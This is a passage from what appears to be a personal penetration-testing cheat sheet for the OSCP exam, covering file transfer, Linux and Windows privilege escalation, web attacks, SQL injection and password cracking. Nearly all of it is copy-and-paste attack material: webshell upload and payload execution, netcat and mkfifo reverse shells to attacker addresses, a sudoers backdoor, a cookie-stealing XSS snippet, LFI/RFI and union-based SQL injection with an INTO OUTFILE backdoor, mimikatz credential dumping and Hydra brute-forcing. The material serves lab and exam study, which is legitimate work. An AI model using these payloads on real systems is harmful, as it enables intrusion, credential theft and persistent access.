    `curl -T 'leetshellz.txt' 'http://$ip'`

    And rename it to an executable file using the MOVE method with the curl command:

    `curl -X MOVE --header 'Destination:http://$ip/leetshellz.php' 'http://$ip/leetshellz.txt'`
  - Upload shell using limited php shell cmduse the webshell to download and execute the meterpreter[curl -s --data "cmd=wget http://174.0.42.42:8000/dhn -O /tmp/evil" http://$ip/files/sh.php[curl -s --data "cmd=chmod 777 /tmp/evil" http://$ip/files/sh.phpcurl -s --data "cmd=bash -c /tmp/evil" http://$ip/files/sh.php
  - TFTPmkdir /tftpatftpd --daemon --port 69 /tftpcp /usr/share/windows-binaries/nc.exe /tftp/EX. FROM WINDOWS HOST:C:\Users\Offsec>tftp -i $ip get nc.exe
  - FTPapt-get update && apt-get install pure-ftpd

    #!/bin/bashgroupadd ftpgroupuseradd -g ftpgroup -d /dev/null -s /etc ftpuserpure-pw useradd offsec -u ftpuser -d /ftphomepure-pw mkdbcd /etc/pure-ftpd/auth/ln -s ../conf/PureDB 60pdbmkdir -p /ftphomechown -R ftpuser:ftpgroup /ftphome/

    /etc/init.d/pure-ftpd restart
- Packing Files
  - Ultimate Packer for eXecutablesupx -9 nc.exe
  - exe2bat - Converts EXE to a text file that can be copied and pastedlocate exe2batwine exe2bat.exe nc.exe nc.txt

- Veil - Evasion Framework - https://github.com/Veil-Framework/Veil-Evasionapt-get -y install gitgit clone https://github.com/Veil-Framework/Veil-Evasion.gitcd Veil-Evasion/cd setupsetup.sh -c

Privilege Escalation

Password reuse is your friend. The OSCP labs are true to life, in the way that the users will reuse passwords across different services and even different boxes. Maintain a list of cracked passwords and test them on new machines you encounter.

- Defacto Linux Privilege Escalation Guide - A much more through guide for linux enumeration: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- Try the obvious - Maybe the user is root or can sudo to root:

  `id`

  `sudo su`
- Here are the commands I have learned to use to perform linux enumeration and privledge escalation:

  What users can login to this box (Do they use thier username as thier password)?:

  `grep -vE "nologin|false" /etc/passwd`

  What kernel version are we using? Do we have any kernel exploits for this version?

  `uname -a`

  `searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"`

  What applications have active connections?:

  `netstat -tulpn`

  What services are running as root?:

  `ps aux | grep root`

  What files run as root / SUID / GUID?:

```
 find / -perm +2000 -user root -type f -print
find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
```

  What folders are world writeable?:

```
 find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders
find / -perm -o x -type d 2>/dev/null     # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders
```
- There are a few scripts that can automate the linux enumeration process:
  - Google is my favorite Linux Kernel exploitation search tool. Many of these automated checkers are missing important kernel exploits which can create a very frustrating blindspot during your OSCP course.
  - LinuxPrivChecker.py - My favorite automated linux priv enumeration checker -

    https://www.securitysift.com/download/linuxprivchecker.py
  - LinEnum - (Recently Updated)

  https://github.com/rebootuser/LinEnum
  - linux-exploit-suggester (Recently Updated)

  https://github.com/mzet-/linux-exploit-suggester
  - Highon.coffee Linux Local Enum - Great enumeration script!

    `wget https://highon.coffee/downloads/linux-local-enum.sh`
  - Linux Privilege Exploit Suggester (Old has not been updated in years)

https://github.com/PenturaLabs/Linux_Exploit_Suggester

- Linux post exploitation enumeration and exploit checking tools

https://github.com/reider-roque/linpostexp

Handy Kernel Exploits

- CVE-2010-2959 - 'CAN BCM' Privilege Escalation - Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32)

  https://www.exploit-db.com/exploits/14814/

```
 wget -O i-can-haz-modharden.c http://www.exploit-db.com/download/14814
$ gcc i-can-haz-modharden.c -o i-can-haz-modharden
$ ./i-can-haz-modharden
[+] launching root shell!
# id
uid=0(root) gid=0(root)
```

- CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8https://www.exploit-db.com/exploits/15285/
- CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)https://git.zx2c4.com/CVE-2012-0056/about/Linux CVE 2012-0056

```
  wget -O exploit.c http://www.exploit-db.com/download/18411
 gcc -o mempodipper exploit.c
 ./mempodipper
```

- CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8https://dirtycow.ninja/First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016
- Run a command as a user other than root

```
  sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/000-default.conf
```

- Add a user or change a password

```
  /usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor
 echo thePassword | passwd haxzor --stdin
```

- Local Privilege Escalation Exploit in Linux
  - **SUID** (**S**et owner **U**ser **ID** up on execution)Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

    below are some quick copy and paste examples for various shells:

```
  SUID C Shell for /bin/bash

 int main(void){
 setresuid(0, 0, 0);
 system("/bin/bash");
 }

 SUID C Shell for /bin/sh

 int main(void){
 setresuid(0, 0, 0);
 system("/bin/sh");
 }

 Building the SUID Shell binary
 gcc -o suid suid.c
 For 32 bit:
 gcc -m32 -o suid suid.c
```

  - Create and compile an SUID from a limited shell (no file transfer)

```
  echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c
 gcc privsc.c -o privsc
```

- Handy command if you can get a root user to run it. Add the www-data user to Root SUDO group with no password requirement:

```
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
```

- You may find a command is being executed by the root user, you may be able to modify the system PATH environment variable to execute your command instead. In the example below, ssh is replaced with a reverse shell SUID connecting to 10.10.10.1 on port 4444.

```
 set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh
chmod +x ssh
```

- SearchSploit

```
      searchsploit –uncsearchsploit apache 2.2
      searchsploit "Linux Kernel"
      searchsploit linux 2.6 | grep -i ubuntu | grep local
      searchsploit slmail
```

- Kernel Exploit Suggestions for Kernel Version 3.0.0

`./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0`

- Precompiled Linux Kernel Exploits - ***Super handy if GCC is not installed on the target machine!***

  https://www.kernel-exploits.com/

- Collect root password

`cat /etc/shadow |grep root`

- Find and display the proof.txt or flag.txt - LOOT!

```
    cat `find / -name proof.txt -print`
```

- Windows Privilege Escalation resource http://www.fuzzysecurity.com/tutorials/16.html
- Metasploit Meterpreter Privilege Escalation Guide https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
- Try the obvious - Maybe the user is SYSTEM or is already part of the Administrator group:

`whoami`

`net user "%username%"`

- Try the getsystem command using meterpreter - rarely works but is worth a try.

`meterpreter > getsystem`

- No File Upload Required Windows Privlege Escalation Basic Information Gathering (based on the fuzzy security tutorial and windows_privesc_check.py).

  Copy and paste the following contents into your remote Windows shell in Kali to generate a quick report:

```
 @echo --------- BASIC WINDOWS RECON ---------  > report.txt
timeout 1
net config Workstation  >> report.txt
timeout 1
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" >> report.txt
timeout 1
hostname >> report.txt
timeout 1
net users >> report.txt
timeout 1
ipconfig /all >> report.txt
timeout 1
route print >> report.txt
timeout 1
arp -A >> report.txt
timeout 1
netstat -ano >> report.txt
timeout 1
netsh firewall show state >> report.txt
timeout 1
netsh firewall show config >> report.txt
timeout 1
schtasks /query /fo LIST /v >> report.txt
timeout 1
tasklist /SVC >> report.txt
timeout 1
net start >> report.txt
timeout 1
DRIVERQUERY >> report.txt
timeout 1
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txt
timeout 1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated >> report.txt
timeout 1
dir /s *pass* == *cred* == *vnc* == *.config* >> report.txt
timeout 1
```

```
findstr /si password *.xml *.ini *.txt >> report.txt
timeout 1
reg query HKLM /f password /t REG_SZ /s >> report.txt
timeout 1
reg query HKCU /f password /t REG_SZ /s >> report.txt
timeout 1
dir "C:\"
timeout 1
dir "C:\Program Files\" >> report.txt
timeout 1
dir "C:\Program Files (x86)\"
timeout 1
dir "C:\Users\"
timeout 1
dir "C:\Users\Public\"
timeout 1
echo REPORT COMPLETE!
```

- Windows Server 2003 and IIS 6.0 WEBDAV Exploiting http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html

```
 msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp > aspshell.txt

cadavar http://$ip
dav:/> put aspshell.txt
Uploading aspshell.txt to `/aspshell.txt':
Progress: [=============================>] 100.0% of 38468 bytes succeeded.
dav:/> copy aspshell.txt aspshell3.asp;.txt
Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt':  succeeded.
dav:/> exit

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 1.2.3.4
msf exploit(handler) > set LPORT 80
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit -j

curl http://$ip/aspshell3.asp;.txt

[*] Started reverse TCP handler on 1.2.3.4:443
[*] Starting the payload handler...
[*] Sending stage (957487 bytes) to 1.2.3.5
[*] Meterpreter session 1 opened (1.2.3.4:443 -> 1.2.3.5:1063) at 2017-09-25 13:10:55 -0700
```

- Windows privledge escalation exploits are often written in Python. So, it is necessary to compile the using pyinstaller.py into an executable and upload them to the remote server.

```
 pip install pyinstaller
wget -O exploit.py http://www.exploit-db.com/download/31853
python pyinstaller.py --onefile exploit.py
```

- Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:

  https://www.exploit-db.com/exploits/6705/

  https://github.com/Re4son/Churrasco

```
 c:\Inetpub>churrasco
churrasco
/churrasco/-->Usage: Churrasco.exe [-d] "command to run"

c:\Inetpub>churrasco -d "net user /add <username> <password>"
c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"
c:\Inetpub>churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"
```

- Windows MS11-080 - http://www.exploit-db.com/exploits/18176/

```
  python pyinstaller.py --onefile ms11-080.py
 mx11-080.exe -O XP
```

- Powershell Exploits - You may find that some Windows privledge escalation exploits are written in Powershell. You may not have an interactive shell that allows you to enter the powershell prompt. Once the powershell script is uploaded to the server, here is a quick one liner to run a powershell command from a basic (cmd.exe) shell:

  MS16-032 https://www.exploit-db.com/exploits/39719/

```
powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"
```

- Powershell Priv Escalation Tools https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

- Windows Run As - Switching users in linux is trival with the `su` command. However, an equivalent command does not exist in Windows. Here are 3 ways to run a command as a different user in Windows.
  - Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system).

    ```
     C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"
    ```

    ```
    PsExec v2.2 - Execute processes remotely
    Copyright (C) 2001-2016 Mark Russinovich
    Sysinternals - www.sysinternals.com
    ```

  - Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe:

    ```
     C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"
    Enter the password for Test:
    Attempting to start nc.exe as user "COMPUTERNAME\Test" ...
    ```

  - PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password.

    ```
     $username = '<username here>'
    $password = '<password here>'
    $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
    $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
    Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-
    e","cmd.exe") -WorkingDirectory C:\Users\Public
    ```

    Next run this script using powershell.exe:

    ```
    powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"
    ```

- Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to privilege escalation. You can replace the executable with your own and have windows execute whatever code you want as the privileged user.icacls scsiaccess.exe

  ```
   scsiaccess.exe
  NT AUTHORITY\SYSTEM:(I)(F)
  BUILTIN\Administrators:(I)(F)
  BUILTIN\Users:(I)(RX)
  APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
  Everyone:(I)(F)
  ```

- Compile a custom add user command in windows using C

  ```
   root@kali:~# cat useradd.c
  #include <stdlib.h> /* system, NULL, EXIT_FAILURE */
  int main ()
  {
  int i;
  i=system ("net localgroup administrators low /add");
  return 0;
  }
  ```

  ```
  i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
  ```

- Group Policy Preferences (GPP)A common useful misconfiguration found in modern domain environments is unprotected Windows GPP settings files
  - map the Domain controller SYSVOL share

    ```
    net use z:\\dc01\SYSVOL
    ```

  - Find the GPP file: Groups.xml

    ```
    dir /s Groups.xml
    ```

  - Review the contents for passwords

    ```
    type Groups.xml
    ```

  - Decrypt using GPP Decrypt

    ```
    gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB
    ```

- Find and display the proof.txt or flag.txt - get the loot!

`#meterpreter > run post/windows/gather/win_privs` `cd\ & dir /b /s proof.txt` `type c:\pathto\proof.txt`

Client, Web and Password Attacks

- Client Attacks
  - MS12-037- Internet Explorer 8 Fixed Col Span IDwget -O exploit.html http://www.exploit-db.com/download/24017service apache2 start
  - JAVA Signed Jar client side attackecho " > /var/www/html/java.htmlUser must hit run on the popup that occurs.
  - Linux Client Shells*http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/*
  - Setting up the Client Side Exploit
  - Swapping Out the Shellcode
  - Injecting a Backdoor Shell into Plink.exebackdoor-factory -f /usr/share/windows-binaries/plink.exe -H $ip -P 4444 -s reverse_shell_tcp
- Web Attacks
  - Web Shag Web Application Vulnerability Assessment Platformwebshag-gui
  - Web Shells*http://tools.kali.org/maintaining-access/webshells* `ls -l /usr/share/webshells/`
  - Generate a PHP backdoor (generate) protected with the given password (s3cr3t)weevely generate s3cr3tweevely http://$ip/weevely.php s3cr3t
  - Java Signed Applet Attack
  - HTTP / HTTPS Webserver Enumeration
    - OWASP Dirbuster
    - nikto -h $ip
  - Essential Iceweasel Add-onsCookies Manager https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/Tamper Datahttps://addons.mozilla.org/en-US/firefox/addon/tamper-data/
  - Cross Site Scripting (XSS)significant impacts, such as cookie stealing and authentication bypass, redirecting the victim's browser to a malicious HTML page, and more
  - Browser Redirection and IFRAME Injection

    ```
    <iframe SRC="http://$ip/report" height = "0" width="0"></iframe>
    ```

  - Stealing Cookies and Session Information

    ```
    <javascript>
    new image().src="http://$ip/bogus.php?output="+document.cookie;
    </script>
    ```

    nc -nlvp 80
- File Inclusion Vulnerabilities
  - Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code.
  - fimap - There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI):*https://github.com/kurobeats/fimap*
    - Gaining a shell from phpinfo()fimap + phpinfo() Exploit - If a phpinfo() file is present, it's usually possible to get a shell, if you don't know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.
  - For Local File Inclusions look for the include() function in PHP code.

    ```
    include("lang/".$_COOKIE['lang']);
    include($_GET['page'].".php");
    ```

  - LFI - Encode and Decode a file using base64

    ```
    curl -s \
    "http://$ip/?page=php://filter/convert.base64-encode/resource=index" \
    ```

`| grep -e '\[^\\ \]\\{40,\\}' | base64 -d`

  - LFI - Download file with base 64 encoding*http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php*
  - LFI Linux Files:/etc/issue/proc/version/etc/profile/etc/passwd/etc/passwd/etc/shadow/root/.bash_history/var/log/dmessage/var/mail/root
  - LFI Windows Files:%SYSTEMROOT%\repair\system%SYSTEMROOT%\repair\SAM%SYSTEMROOT%\repair\SAM%WINDIR%\win.ini%
  - LFI OSX Files:/etc/fstab/etc/master.passwd/etc/resolv.conf/etc/sudoers/etc/sysctl.conf
  - LFI - Download passwords file*http://$ip/index.php?page=/etc/passwdhttp://$ip/index.php?file=../../../../etc/passwd*
  - LFI - Download passwords file with filter evasion*http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd*
  - Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byteGET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00
  - Contaminating Log Files `<?php echo shell_exec($_GET['cmd']);?>`
  - For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files

    /etc/php5/cgi/php.ini - "allow_url_fopen" and "allow_url_include" both set to "on"

    `include($_REQUEST["file"].".php");`
  - Remote File Inclusion

    `http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt`

    `<?php echo shell\_exec("ipconfig");?>`

- Database Vulnerabilities
  - Playing with SQL Syntax A great tool I have found for playing with SQL Syntax for a variety of database types (MSSQL Server, MySql, PostGreSql, Oracle) is SQL Fiddle:

  http://sqlfiddle.com

  Another site is rextester.com:

  http://rextester.com/l/mysql_online_compiler

  - Detecting SQL Injection Vulnerabilities.

    Most modern automated scanner tools use time delay techniques to detect SQL injection vulnerabilities. This method can tell you if a SQL injection vulnerability is present even if it is a "blind" sql injection vulnerabilit that does not provide any data back. You know your SQL injection is working when the server takes a LOooooong time to respond. I have added a line comment at the end of each injection statement just in case there is additional SQL code after the injection point.

    - **MSSQL Server SQL Injection Time Delay Detection:** Add a 30 second delay to a MSSQL Server Query
      - *Original Query*

        `SELECT * FROM products WHERE name='Test';`
      - *Injection Value*

        `'; WAITFOR DELAY '00:00:30'; --`
      - *Resulting Query*

        `SELECT * FROM products WHERE name='Test'; WAITFOR DELAY '00:00:30'; --`
    - **MySQL Injection Time Delay Detection:** Add a 30 second delay to a MySQL Query
      - *Original Query*

        `SELECT * FROM products WHERE name='Test';`
      - *Injection Value*

`'-SLEEP(30); #`

- *Resulting Query*

  `SELECT * FROM products WHERE name='Test'-SLEEP(30); #`

- **PostGreSQL Injection Time Delay Detection:** Add a 30 second delay to an PostGreSQL Query
  - *Original Query*

    `SELECT * FROM products WHERE name='Test';`
  - *Injection Value*

    `'; SELECT pg_sleep(30); --`
  - *Resulting Query*

    `SELECT * FROM products WHERE name='Test'; SELECT pg_sleep(30); --`

- Grab password hashes from a web application mysql database called “Users” - once you have the MySQL root username and password

```
 mysql -u root -p -h $ip
use "Users"
show tables;
select \* from users;
```

- Authentication Bypass

```
 name='wronguser' or 1=1;
name='wronguser' or 1=1 LIMIT 1;
```

- Enumerating the Database

  `http://192.168.11.35/comment.php?id=738)'`

  Verbose error message?

  `http://$ip/comment.php?id=738 order by 1`

  `http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6`

  Determine MySQL Version:

  `http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6`

  Current user being used for the database connection:

  `http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6`

  Enumerate database tables and column structures

  `http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables`

  Target the users table in the database

  `http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'`

  Extract the name and password

  `http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users`

  Create a backdoor

  `http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'`

- **SQLMap Examples**
- Crawl the links

  `sqlmap -u http://$ip --crawl=1`

  `sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3`

- SQLMap Search for databases against a suspected GET SQL Injection

  `sqlmap –u http://$ip/blog/index.php?search –dbs`

- SQLMap dump tables from database oscommerce at GET SQL injection

  `sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps`

- SQLMap GET Parameter command

  `sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5`

- SQLMap Post Username parameter

  `sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --dump-all`

- SQL Map OS Shell

  `sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell`

  `sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --os-shell`

- Automated sqlmap scan

  `sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords  --file-read="/var/www/blah.php"`

- `Targeted sqlmap scan `sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump` - Scan url for union + error based injection with mysql backend and use a random user agent + database dump `sqlmap -o -u http://$ip/index.php --forms --dbs ` `sqlmap -o -u "http://$ip/form/" --forms` - Sqlmap check form for injection `sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump` - Enumerate databases `sqlmap --dbms=mysql -u "$URL" --dbs` - Enumerate tables from a specific database `sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables ` - Dump table data from a specific database and table `sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump ` - Specify parameter to exploit `sqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2" --dbs -p param2 ` - Specify parameter to exploit in 'nice' URIs (exploits param1) `sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbs ` - Get OS shell `sqlmap --dbms=mysql -u "$URL" --os-shell` - Get SQL shell `sqlmap --dbms=mysql -u "$URL" --sql-shell` - SQL query `sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"` - Use Tor Socks5 proxy `sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs``

- **NoSQLMap Examples** You may encounter NoSQL instances like MongoDB in your OSCP journies (`/cgi-bin/mongo/2.2.3/dbparse.py`). NoSQLMap can help you to automate NoSQLDatabase enumeration.
- NoSQLMap Installation

  ```
  git clone https://github.com/codingo/NoSQLMap.git
  cd NoSQLMap/
  ls
  pip install couchdb
  pip install pbkdf2
  pip install ipcalc
  python nosqlmap.py
  ```

- Often you can create an exception dump message with MongoDB using a malformed NoSQLQuery such as:

`` `a'; return this.a != 'BadData''; var dummy='!` ``

- Password Attacks
  - AES Decryptionhttp://aesencryption.net/
  - Convert multiple webpages into a word list

    ```
    for x in 'index' 'about' 'post' 'contact' ; do \
      curl http://$ip/$x.html | html2markdown | tr -s ' ' '\\n' >> webapp.txt ; \
    done
    ```

  - Or convert html to word list dict`html2dic index.html.out | sort -u > index-html.dict`
  - Default Usernames and Passwords
    - CIRT*http://www.cirt.net/passwords*
    - Government Security - Default Logins and Passwords for Networked Devices
    - *http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php*
    - Virus.org*http://www.virus.org/default-password/*
    - Default Password*http://www.defaultpassword.com/*
  - Brute Force
    - Nmap Brute forcing Scripts*https://nmap.org/nsedoc/categories/brute.html*
    - Nmap Generic auto detect brute force attack: `nmap --script brute -Pn <target.com or ip>`

        - MySQL nmap brute force attack: `nmap --script=mysql-brute $ip`
    - Dictionary Files
        - Word lists on Kali `cd /usr/share/wordlists`
    - Key-space Brute Force
        - `crunch 6 6 0123456789ABCDEF -o crunch1.txt`
        - `crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha`
        - `crunch 8 8 -t ,@@^^%%%`
    - Pwdump and Fgdump - Security Accounts Manager (SAM)
        - `pwdump.exe` - attempts to extract password hashes
        - `fgdump.exe` - attempts to kill local antiviruses before attempting to dump the password hashes and cached credentials.
    - Windows Credential Editor (WCE)
        - allows one to perform several attacks to obtain clear text passwords and hashes. Usage: `wce -w`
    - Mimikatz
        - extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets*https://github.com/gentilkiwi/mimikatz* From metasploit meterpreter (must have System level access):

          ```
          meterpreter> load mimikatz
          meterpreter> help mimikatz
          meterpreter> msv
          meterpreter> kerberos
          meterpreter> mimikatz_command -f samdump::hashes
          meterpreter> mimikatz_command -f sekurlsa::searchPasswords
          ```
    - Password Profiling
        - cewl can generate a password list from a web page `cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt`
    - Password Mutating
        - John the ripper can mutate password listsnano /etc/john/john.conf `john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt`
    - Medusa
        - Medusa, initiated against an htaccess protected web directory `medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10`
    - Ncrack
        - ncrack (from the makers of nmap) can brute force RDP `ncrack -vv --user offsec -P password-file.txt rdp://$ip`
    - Hydra
        - Hydra brute force against SNMP

          `hydra -P password-file.txt -v $ip snmp`
        - Hydra FTP known user and rockyou password list

          `hydra -t 1 -l admin -P /usr/share/wordlists/rockyou.txt -vV $ip ftp`
        - Hydra SSH using list of users and passwords

          `hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh`
        - Hydra SSH using a known password and a username list

          `hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh`
        - Hydra SSH Against Known username on port 22

          `hydra $ip -s 22 ssh -l <user> -P big_wordlist.txt`
        - Hydra POP3 Brute Force

        `hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V`

        - Hydra SMTP Brute Force

          `hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V`

        - Hydra attack http get 401 login with a dictionary

          `hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin`

        - Hydra attack Windows Remote Desktop with rockyou

          `hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip`

        - Hydra brute force SMB user with rockyou:

          `hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt $ip smb`

        - Hydra brute force a Wordpress admin login

          `hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'`

- Password Hash Attacks

    - Online Password Cracking*https://crackstation.net/* *http://finder.insidepro.com/*

    - Hashcat Needed to install new drivers to get my GPU Cracking to work on the Kali linux VM and I also had to use the --force parameter.

  `apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev`

  and

  `apt-get install pocl-opencl-icd`

  Cracking Linux Hashes - /etc/shadow file

```
 500 | md5crypt $1$, MD5(Unix)                          | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix)                      | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix)                    | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix)                    | Operating-Systems
```

  Cracking Windows Hashes

```
3000 | LM                                               | Operating-Systems
1000 | NTLM                                             | Operating-Systems
```

  Cracking Common Application Hashes

```
  900 | MD4                                             | Raw Hash
    0 | MD5                                             | Raw Hash
 5100 | Half MD5                                        | Raw Hash
  100 | SHA1                                            | Raw Hash
10800 | SHA-384                                         | Raw Hash
 1400 | SHA-256                                         | Raw Hash
 1700 | SHA-512                                         | Raw Hash
```

  Create a .hash file with all the hashes you want to crack puthasheshere.hash: `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/`

  Hashcat example cracking Linux md5crypt passwords 1 using rockyou:

  `hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists/rockyou.txt`

  Wordpress sample hash: `$P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/`

  Wordpress clear text: `test`

  Hashcat example cracking Wordpress passwords using rockyou:

  `hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt`

    - Sample Hashes*http://openwall.info/wiki/john/sample-hashes*

    - Identify Hashes

      `hash-identifier`

    - To crack linux hashes you must first unshadow them:

      `unshadow passwd-file.txt shadow-file.txt`

      `unshadow passwd-file.txt shadow-file.txt > unshadowed.txt`

- John the Ripper - Password Hash Cracking

  - `john $ip.pwdump`
  - `john --wordlist=/usr/share/wordlists/rockyou.txt hashes`
  - `john --rules --wordlist=/usr/share/wordlists/rockyou.txt`
